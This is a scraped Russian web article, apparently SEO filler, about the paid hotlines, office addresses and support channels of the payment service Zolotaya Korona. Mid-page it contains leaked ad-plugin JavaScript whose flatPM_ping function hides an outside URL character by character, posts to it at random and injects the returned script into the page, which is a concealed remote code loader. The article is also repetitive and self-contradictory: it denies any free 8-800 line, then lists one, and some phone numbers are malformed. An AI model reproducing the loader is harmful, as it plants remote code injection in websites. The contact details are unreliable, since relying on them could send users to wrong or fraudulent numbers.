Золотая Корона – бесплатный телефон горячей линии

Адреса на карте

Адреса, телефоны, рейтинг и режим работы филиалов компании можно посмотреть на Яндекс Картах.

Адреса офисов золотой короны

Если вам нужно отправить или получить перевод, информацию найдете на сайте компании. Обратите внимание, что отправка средств возможна в любом пункте системы, получения — в некоторых.

Пункты — это многочисленные банки и салоны связи. Чтобы их просмотреть, заходите на сайте сервиса. Если на устройстве входа включена геолокация, в разделе офисов сразу видите свой город. Пункты отражаются на карте с указанием режима работы и точного адреса.

Но есть и официальные юридические адреса организации, куда можно направлять различного рода корреспонденцию. Адрес для решения юридических и правовых вопросов — 630055, Новосибирск, Шатурская 2, телефоны (383) 339-92-42, 336-49-49.

Бесплатная горячая линия

Действующие сегодня правила работы платежной системы Золотая Корона не предусматривают наличие сервиса бесплатного звонка по телефону горячей линии при помощи федерального номера 8 800. Это призначется существенным недостатком в работе компании, на который обращает внимание значительная часть клиентов.

Логичным следствием отсутствие бесплатного номера выступает сравнительно небольшое количество звонков на телефоны горячей линии.

С целью надлежащего сервисного обслуживания, поддержания постоянной связи с пользователями, платежная система «Золотая Корона» установила телефон горячей линии. Функционирование услуги позволяет получить информацию относительно движения денежных средств.

Контактный номер телефона для общения с клиентами – 74959600555.

Звонок не бесплатный. Операторы, получив сведения о проблеме, оперативно проконсультируют о порядке необходимых действий. Если сложившаяся ситуацию нестандартная, вариант решения может заставить ждать.

Золотая Корона создала структуру исполнителей – 3 коллцентра и служба поддержки, работающие круглосуточно.

Услуга «бесплатная горячая линия» отсутствует в системе «Золотой Короны». Обращение по телефону к специалистам службы требует оплаты. Для предотвращения затрат необходимо тщательно ознакомиться с информацией, опубликованной на официальном сайте. Если решение не найдено — осуществить платный звонок на горячую линию.

Операторы информационного центра Золотой Короны»способны ответить на вопросы, связанные с функциональными направлениями деятельности компании. Среди них:

действующая система тарификации;
акции и бонусные программы;
актуальные спецпредложения;
месторасположение ближайших отделений обслуживания;
подробный алгоритм осуществления трансферта (последовательность действий при отправке/получении перевода денежных средств);
тактика поведения в случае допущения механических ошибок при заполнении заявительного бланка;
оформление возврата;
несоблюдение условий получения денег по переводу.

По этим и другим вопросам специалисты Золотой Короны проконсультируют каждого обратившегося пользователя сервиса.

В каком случае поддержка не сможет помочь?

Есть некоторые проблемы, которые невозможно решить удаленно. Поэтому, будьте готовы к тому, что предоставляя недостаточно данных, желая получить конфиденциальную информацию, сведения о банке, операторы вправе отказать в консультации.

Операторы Золотой Короны не смогут помочь, если клиент интересуется не профильным вопросом, который не относится к компетенции службы поддержки.

Возможности горячей линии

Среди общих возможностей горячей линии можно отметить следующие:

использование голосового автоматизированного меню и управление разделами;
связь с реальным оператором для решения нестандартных задач;
получение консультаций и помощи в целом.

Через горячую линию можно отправить жалобу или отзыв о работе компании. Сделать это можно через один из пунктов голосового меню. Также предлагается связаться с оператором и сообщить о причине и сути претензии/предложения.

Как правило: большинство компаний принимают жалобы с фиксацией информации от обратившегося клиента в базе данных. Для контроля за обращением рекомендуется записать его номер и в последующем перезвонить для уточнения информации и деталей, касающихся существующей проблемы по номеру горячей линии.

Для того чтобы свой задать вопрос, воспользуйтесь формой ниже ⤵

Время ответа и компетентность специалистов

Независимо от государства, из которого обращается клиент на горячую линию сервиса, служба поддержки «Золотая Корона» компетентно ответит на любые интересующие вопросы, касательно совершенных платежей. Также предоставит бесплатную консультацию о том, как правильно выполнить перевод финансовых средств. В частности, у консультанта можно уточнить:

возможности услуг в рамках мобильного приложения или сервиса-онлайн;
расценки и тарифы на переводы внутри страны и заграницу;
условия проводимых акций и участия клиента в них.

По каждому из перечисленных выше вариантов связи, включая номера горячей линии, клиент платежной системы имеет возможность получить исчерпывающую информацию об услугах, предоставляемых сервисом Золотая Корона, расценках и тарифах, установленных компанией, а также сведения о проводимых акция и условиях участия в них.

Характерной особенностью работы колл-центра Золотой Короны является оперативность ответов и высокое качество обслуживания клиентов. Работа горячей линии осуществляется на хорошем уровне, что отмечает большая часть пользователей платежной системы.

Представленные выше способы связи с сотрудниками системы «Золотая корона» помогают клиентам получить исчерпывающую информацию о работе компании, условиях сотрудничества, принципе перевода денег и так далее.

Также в открытом доступе находятся расценки и тарифы по комиссиям за денежные операции. Кроме того, клиент может отслеживать статус перевода средства до момента получения такового адресатом.

Как избавиться от долгов по кредитам?

Все о службе поддержки золотая корона в 2021 году и далее

Если пользователь имеет желание обратиться в Золотую корону с официальным запросом, то адрес следующий:

630055 г. Новосибирск, ул. Шатурская, 2

тел.: (383) 339-92-42, 336-49-49, 335-80-88

факс: (383) 339-92-30.

Есть и офис платежной системы Золотая корона и в Москве: он расположен на 17 этаже в БЦ «Монарх» на Ленинградском проспекте, 31А стр.1, тел.: (495) 780-50-12, 604-12-20.

Всемирный клиентский опрос компании

Компания «Золотая Корона» предлагает всем пользователям оценить качество предоставляемых услуг. Благодаря этому уровень обслуживания непрерывно повышается. Для оценки необходимо зайти в раздел «Служба помощи клиентам» и перейти к пункту «Оцените нас». Далее нужно будет указать, каким видом услуг человек пользовался, что понравилось, а что нет, и поставить оценку.

Денежные переводы – золотая корона- заказать звонок

Заполните обязательные поля

Ошибка ввода кода с картинки

Спасибо! Ваш запрос отправлен

Произошла ошибка отправки данных. Обновите страницу и
попробуйте еще раз!

Мы уже получили ваш запрос. Он передан в Информационный
центр, скоро вам позвонят. Отправить запрос повторно вы
можете через 10 минут

Для каких случаев предназначена горячая линия?

Горячая линия и поддержка онлайн готовы подсказать, помочь в решении любых вопросов, касающихся работы сервиса Золотая Корона:

Погашение кредитов.
Денежные переводы.
Обмен валюты.
Переводы с карту на карту, кошельки.
Сложности с доступом в личный кабинет.

Для чего нужна служба поддержки

Предназначена служба поддержки Золотая корона для информационного сопровождения и удаленного обслуживания клиентов компании и всех, кто интересуется определенным направлением ее деятельности.

С помощью звонка на горячую линию можно получить информацию в голосовом меню или связаться с оператором.

Оператор — не всегда «живой человек». В последнее время современные компании внедряют в деятельность автоматизированные голосовые меню, в которых можно без выбора определенных пунктов сразу задавать вопросы. Робот даёт на них ответы, распознавая информацию в аудио режиме.

Для чего нужна служба поддержки:

Оказание помощи клиентам. Решение финансовых вопросов, проблем и сложностей.
Информационное сопровождение. Консультирование по обслуживанию, товарам, услугам.
Обеспечение связи с представительством компании, бренда, сети магазинов по разным вопросам.
Управление счетами, аккаунта и и всем, что касается деятельности компании.

Горячая линия и служба поддержки Золотая корона обычно работают как единое целое. Этот инструмент предназначен для обеспечения надёжной и полноценной связи между организацией и клиентами.

Если у потребителя возникают вопросы или проблемы, он может обратиться в службу поддержки, позвонив по номеру телефона.

Золотая корона в социальных сетях

Платежная система предусмотрела дополнительный источник связи – социальные сети. Подписчикам официального сообщества доступны выгодные предложения, полезные памятки и актуальные новости компании. Благодаря открытой ветке комментариев участники вправе публиковать отзывы, вопросы или предложения. Любое обращение быстро рассматривается администраторами группы.

Золотая корона: бесплатный телефон горячей линии – принцип права – интернет журнал

“:’

‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ c “

“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count “

“:’

‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ c “

“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};

Как написать в службу поддержки золотой короны?

Служба поддержки готова помочь клиентам по телефону и онлайн, для этого достаточно знать несколько особенностей. Написать в техподдержку пользователи могут онлайн, для этого предусмотрено несколько способов:

Как написать жалобу?

В Золотой Короне рекомендуют своим клиентам при желании выразить недовольство, отзыв, пожелание, использовать вкладку «Обратная связь». Заполняя анкету, уточняйте тему, личные, контактные данные, суть проблемы и по необходимости прикрепляйте фото или видео.

Как написать письмо сотрудникам поддержки золотой короны?

Горячая линия Золотая Корона

Чтобы написать письмо — нажмите ссылку «Напишите нам». Выберете тему интересующего вопроса, укажите имя, номер интересующего перевода, контактные данные. Подробно опишите проблему. Затем перепечатайте с изображения проверочные символы и нажмите зеленую кнопку «Отправить».

Какой телефон горячей линии золотой короны?

У Золотой Короны в России есть своя горячая линия, которая позволяет решать большую часть вопросов оперативно. Дозвониться из города Москва, Санкт-Петербург, Казань, Тверь, Новосибирск, Екатеринбург и другие, можно по горячему номеру — 7 (495) 960 05 55.

Номер телефона платный. Бесплатной горячей линии Золотой Короны с кодом 8800, нет.

Кроме этого, если переводы выполняются в международном формате, можно связаться со службой поддержки по единому справочному телефону — 7 (495) 222 33 20. Операторы принимают обращения, касающиеся только международных переводов.

Когда поддержка помочь не сможет

630055 г. Новосибирск, ул. Шатурская, 2

тел.: (383) 339-92-42, 336-49-49, 335-80-88

факс: (383) 339-92-30.

Операторы платежной системы не смогут помочь клиенту, если существует одно из обстоятельств:

Недостаток информации – если человек не предоставил все данные о проблеме, специалист службы горячей линии не сможет предложить варианты выхода из ситуации.
Ненадлежащее выполнение должностных обязанностей сотрудниками банковского учреждения. Единственный выход – сигнализация руководящему органу с целью влияния на качество обслуживания партнерских организаций.
Вопрос, заданный по телефону четко не сформулирован, не соответствует компетенции работнику информационного центра Золотой Короны (не относится к работе сервиса).

Перед звонком оператору следует проанализировать ситуацию, определить причину. Если проблему создал сам пользователь по невнимательности, служба горячей линии не всегда сможет помочь.

Несмотря на распространенность и техническую оснащенность, рассматриваемая система, предлагающая помощь по горячей линии, может помочь только с конкретно установленным спектром проблем.

Также определяются вопросы, которые решаются исключительно при обращении в главные офисы, или вовсе информация останется недоступной для клиентов:

отсутствуют сведения о переводе, необходимые для отслеживания, что приводит к невозможности проверки статуса денежной операции,
трудности с получением или отслеживанием денежного перевода, вызванные правилами проведения операций конкретно установленного банка (в таких ситуациях «Золотая корона» не сможет проконтролировать работу кредитной организации, поскольку не влияет на условия и принцип работы таковой).

Также следует помнить о том, что на горячей линии вопросы должны задаваться только по существу. Если тема обращения не связана с направлением работы платежной системы, то отвечать на такие вопросы сотрудники горячей линии не обязаны.

Можно ли летать по России, если есть долги по кредитам?

отсутствуют сведения о переводе, необходимые для отслеживания, что приводит к невозможности проверки статуса денежной операции;
трудности с получением или отслеживанием денежного перевода, вызванные правилами проведения операций конкретно установленного банка (в таких ситуациях «Золотая корона» не сможет проконтролировать работу кредитной организации, поскольку не влияет на условия и принцип работы таковой).

Можно ли совершить бесплатный звонок

На сегодняшний день платежный сервис еще не обзавелся стандартным телефоном 8 800 для поддержки пользователей по вопросу переводов. Тем не менее основатель компании предполагает, что это случится в ближайшее время.

О компании

«Золотая Корона» — российская платежная система, предоставляющая платежные сервисы физическим лицам, банкам и организациям: денежные переводы наличными, денежные переводы онлайн с оплатой банковской картой, денежные переводы между банковскими картами, погашение кредитов онлайн и офлайн в партнерской сети, онлайн покупка валюты.

Оборот операций сервисов системы в 2021 году составил 856 млрд руб. Система входит в реестр Социально значимых платежных систем России и Казахстана. Сервисы платежной системы «Золотая Корона» доступны в инфраструктуре более чем 550 банков и партнеров в России, странах СНГ, а также в странах дальнего зарубежья.

Платежная система «Золотая Корона» зарегистрирована Банком России в соответствии с требованием Федерального закона «О национальной платежной системе» 20 декабря 2021 года (свидетельство о регистрации № 0012, включена в реестр операторов платежных систем на сайте ЦБ.

Оператор и расчетный центр Платежной системы — РНКО «Платежный Центр» (ООО) (входит в Группу Компания «Центр финансовых технологий», далее ЦФТ), операционно-клиринговый центр — ЗАО «Золотая Корона». Платежная система «Золотая Корона» является частью зонтичного бренда «Золотая Корона» ЦФТ.

О платежной системе

Одна из самых популярных платежных систем в России, пользующаяся огромной популярностью среди жителей, как удобная и выгодная платформа по переводу денежных средств на карты или электронных кошельки. Часто клиенты могут сталкиваться с проблемами и сложностями при переводе денежных средств.

С целью помощи была организована горячая линия, позвонив по которой можно выяснить интересующие вопросы.

Офисы компании

Физические пункты обслуживания Золотой Короны размещены в Москве и Новосибирске. В любой из них можно прийти лично в случае необходимости.

В Новосибирске личный визит можно нанести по двум адресам:

ул.Шатурская д.2;
ул.Кирова д.86.

По первому адресу размещается также юридическая служба компании. Она решает вопросы с предприятиями-партнерами системы, а также возникшие проблемы в процессе взаимодействия с клиентами.

Отправить заявку для решения текущих вопросов можно прямо на сайте Золотой Короны с помощью формы обратной связи

По каким вопросам специалисты смогут помочь?

Операторы на звонки реагируют своевременно, информацию предоставляют в доступном виде, грамотно и вежливо. На сложные вопросы, требующие специфических знаний, сразу не отвечают, уточняя информацию или сразу переводя звонок на специалиста.

Сотрудники компании, отвечающие на звонки пользователей платежной системы, отвечают следующим критериям:

Своевременное реагирование.
Доступность изложения информации.
Грамотность.
Вежливость.

Компетентность работников заключается в предоставлении сведений по основным направлениям деятельности Золотой Короны:

денежные переводы;
погашение кредитных обязательств;
пополнение баланса карточки (банковского счета);
обмен валют.

Если оператор не обладает специальными знаниями для решения ситуации, осуществляется перевод звонка на специалиста.

Предназначение горячей линии

Операторы рассматривают вопросы, касающиеся работы платежной системы:

Совершение переводов;
Погашение долга;
Покупка / продажа валюты;
Переводы на электронные кошельки;
Переводы на карты;
Сложности с авторизацией.

Существуют проблемы, которые невозможно решить по телефону. Понадобится посетить отделение Золотой Короны с удостоверением личности и совершить необходимые действия. Консультанты подскажут расположение ближайших представительств в вашем городе. Операторы никогда не рассматривают вопросы, находящиеся вне компетенции компании.

Режим работы

Время работы техподдержка Золотой Короны круглосуточное. Круглосуточно операторы готовы обрабатывать и электронные обращения.

Связь с техподдержкой через приложение

Приложение Золотая Корона снимки экрана — Приложение Золотая Корона, снимки экрана

Приложение было создано специально для облегчения переводов, оплаты, без использования официального сайта. Поэтому большая часть клиентов предпочитает проводить платежи через приложение. Вместе с этим потребовалось предоставить клиентам удобную форму для связи.

Техподдержка через приложение доступна в разделе «Обратная связь» или «Помощь», в зависимости от версии ПО. Установить мобильное расширение можно на все смартфоны, где используется платформа Android или iOS.

Способы обращения на горячую линию золотой короны

«Золотая Корона» — российский платежный сервис. Функционирование системы охватывает территорию РФ, стран ближнего и дальнего зарубежья (более 200). Партнерские отношения позволяют осуществлять переводы многим банковским учреждениям.

Возможность экстренного реагирования на непредвиденный случай предусмотрена для собственников пластиковых карточек «Золотая Корона», «Золотая Корона MasterCard».

Для пользователей услугами системы за границей Российской Федерации введены такие номера горячей линии:

74959600555 – телефон в Москве и странах СНГ;
749522233320 – государства Европы и Азии;
1809387075 – Израиль.

Сервис работает круглосуточно и не бесплатно. Предоставление информации возможно на английском языке.

Помимо телефонной линии и интернет-ресурса, предусматриваются другие варианты оказания помощи клиентам «Золотой короны». Можно подать официальный запрос по адресам главных офисов, находящихся по следующим адресам: г. Москва, БЦ «Монарх», 17 этаж, г. Новосибирск, ул. Кирова, д. 86 и ул. Шатурская, д. 2.

Говоря об официальном сайте компании, следует отметить, что предусмотрен конкретный перечень вопросов, доступных для рассмотрения в указанном режиме:

направление писем отзывами и предложениями;
обращение к менеджеру для получения информация по обслуживанию и информационному сопровождению;
изучение ответов на вопросы, часто задаваемые другими клиентами;
направление заявки на получение консультации по телефону;
участие в клиентском опросе.

Рассматриваемая платежная система помогает не только в осуществлении денежных переводов, но и при погашении кредитов, перечислении средств с одной банковской карты на другую и так далее.

Для осуществления операций не обязательно обращение в офисы. Клиентам также предлагается мобильное приложение, позволяющее, не выходя из дома, переводить денежные средства. Каждый вариант проведения операций позволяет в случае проблем обратиться в службу поддержки как на сайте, так и непосредственно в офисах компании.

Посмотрите видео.Денежные переводы «Золотая Корона»: видеоинструкция

направление писем отзывами и предложениями,
обращение к менеджеру для получения информация по обслуживанию и информационному сопровождению,
изучение ответов на вопросы, часто задаваемые другими клиентами,
направление заявки на получение консультации по телефону,
участие в клиентском опросе.

По заказу нашего сайта эксперты проанализировали отзывы пользователей Золотой короны: их жалобы на работу колл-центра платежной системы в основном сводятся к тому, что операторы не могут ответить на их плохо сформулированные вопросы, особенно когда вопросы касаются проблем не по теме платежного перевода.

В колл-центре Золотой короны убеждены, что помогут решить многие вопросы пользователей платежной системы

Отметим: бесполезно звонить в колл-центр Золотой короны, если вы допустили ошибку в заполнении реквизитов при переводе через Золотую корону, например — в имени, фамилии, пункте перевода или названии банка. Совет один: тщательнее проверяйте все данные при заполнении реквизитов.

Сразу получить решение проблемы с переводом также не получится, когда «сплоховал» банк-партнер Золотой короны. Принявший звонок оператор Золотой короны примет от вас информацию и передаст ее своему руководству, которое свяжется с проблемным банком и попробует ее решить. Для этого потребуется время — поэтому клиенту придется подождать.

Предыдущие записи

Ответы на вопросы

Ответы на вопросы

Телефон горячей линии

Золотая Корона имеет несколько номеров службы поддержки. Наличие нескольких телефонных линий призвано упростить процесс оставления заявок для клиентов из разных стран и даже регионов России.

Отдельный бесплатный телефон действует на территории Израиля. Звонки принимаются по номеру 1809-387-075 в круглосуточном режиме. Вызовы из-за границ страны тарифицируются согласно расценкам оператора в условиях роуминга.

Следует заметить, что все телефонные линии являются стационарными. У компании нет отдельного канала 8800. Так что предложения обратиться по подобным номерам скорее всего являются мошенничеством.

Телефон горячей линии в регионах

Указанный выше номер телефона также предназначен для звонков из регионов РФ и государств ближнего зарубежья. Помощь о консультации для клиентов этой категории предоставляется в любые дни круглосуточно.

Телефон горячей линии золотая корона

7(495) 960 05 55. Принимаются звонки жителей любых российских городов. Разговоры оплачиваются по тарифу провайдера связи. Бесплатной горячей линии не существует — если отсутствуют деньги на счете, воспользуйтесь альтернативным методом коммуникации.

Бесплатный номер телефона доступен для регионов — 8 800 250-82-75.

Поскольку некоторые денежные переводы являются международными, был создан дополнительный контактный центр — 7(495) 222 33 20. Консультанты рассматривают исключительно вопросы, касающиеся международных переводов.

Телефон для жителей израиля

Для клиентов, которые живут или временно находятся на территории Израиля, введен специальный номер горячей линии платежного сервиса Золотая Корона – 1 809 . Обслуживание также ведется на английском языке в любые дни в круглосуточном режиме.

Электронная почта

Компания предоставляет для связи электронную почту только по конкретным вопросам:

Другие проблемы предлагается решать посредством горячей линии или обращения на сайте.

Как отправить претензию или отзыв?

Платежная система внимательно рассматривает поступающие жалобы для улучшения качества обслуживания. Если нужно выразить недовольство, воспользуйтесь разделом обратной связи. Следуя подсказкам, заполните предложенную анкету. Выберете тему сообщения, укажите контактные данные и максимально подробное описание ситуации.

Кроме того, претензии принимаются альтернативными способами:

Соц. сети;
Горячая линия;
Электронная почта.

Продолжительность обработки сообщения варьируется от способа коммуникации. Например, при отправке претензии через раздел «Обратная связь» ответ сотрудников поступает через 20 — 60 минут.